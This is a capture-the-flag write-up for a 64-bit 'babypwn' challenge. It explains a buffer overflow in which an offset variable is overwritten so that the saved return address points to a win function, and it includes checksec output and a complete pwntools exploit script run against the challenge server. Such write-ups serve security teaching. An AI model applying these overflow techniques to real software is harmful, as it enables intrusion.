Intro
This is the second pwn challenge. It was solved 36 times and it’s worth 451 points.
Description:
You don’t need eip control for every pwn.
You can download the binary here
$ sha256sum ./babypwn
57b32556465e890bdefdcccd6e515f6a2888300f48e9b7a7df0bb66694bda45b babypwn
Exploitation
The program asks five input, echoes them back and prints a message of failure. However there is a segfault
caused by a buffer overflow.
$ ./babypwn
1
2
3
4
5
1
2
3
4
5
Naaa , Try HArder
$ ./babypwn
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
$ checksec ./babypwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
I opened with r2 and there are two interesting functions: win
and nope
.
The former prints the flag, the latter prints: Naaa , Try HArder.
The address of the nope
function is inserted at var_40h
, in the first block of the main
function
And it will be used as pointer to function after the echo of the input.
So the initial idea was: overwrite the content at var_40h
with the address of win
.
But the program reads ‘just’ 16 chars with fgets
, starting from var_50h
. So we cannot overwrite directly [var_40h]
, except the lsb
with 0x00.
However we can overwrite [var_44h]
that is used as offset of var_30h
.
Specifically our input will be copied to var_30h + var_44h*8
.
So, because the offset between the saved EIP
and var_30h
is 56, if [var_44h]
is 7 we can overwrite the saved EIP
with the strncpy
and pwn the program.
This is the exploit:
Incidentally (maybe voluntarily) the payload length is 16. So the lsb
of [var_40h]
is overwritten with 0x00. The new address (0x00400800
) points to a ret. So it just works.
from pwn import *
prog = context.binary = ELF("PATH_TO_THE_BINARY", checksec=False)
if len(sys.argv) > 1:
host = "68.183.158.95"
port = 8990
t = remote(host, port)
else:
t = prog.process()
offset = 4
payload = p64(prog.symbols["win"]) #var_50h
payload += "A"*offset #var_48h
payload += p32(0x7) #var_44h
t.sendline(payload)
t.recvuntil("Yay , Here's the flag\n")
print t.recvline()
t.close()
Here’s the flag:
$ ./exploit.py 1
[+] Opening connection to 68.183.158.95 on port 8990: Done
d4rk{B0fs_4r3_3zzzz}c0de
[*] Closed connection to 68.183.158.95 port 8990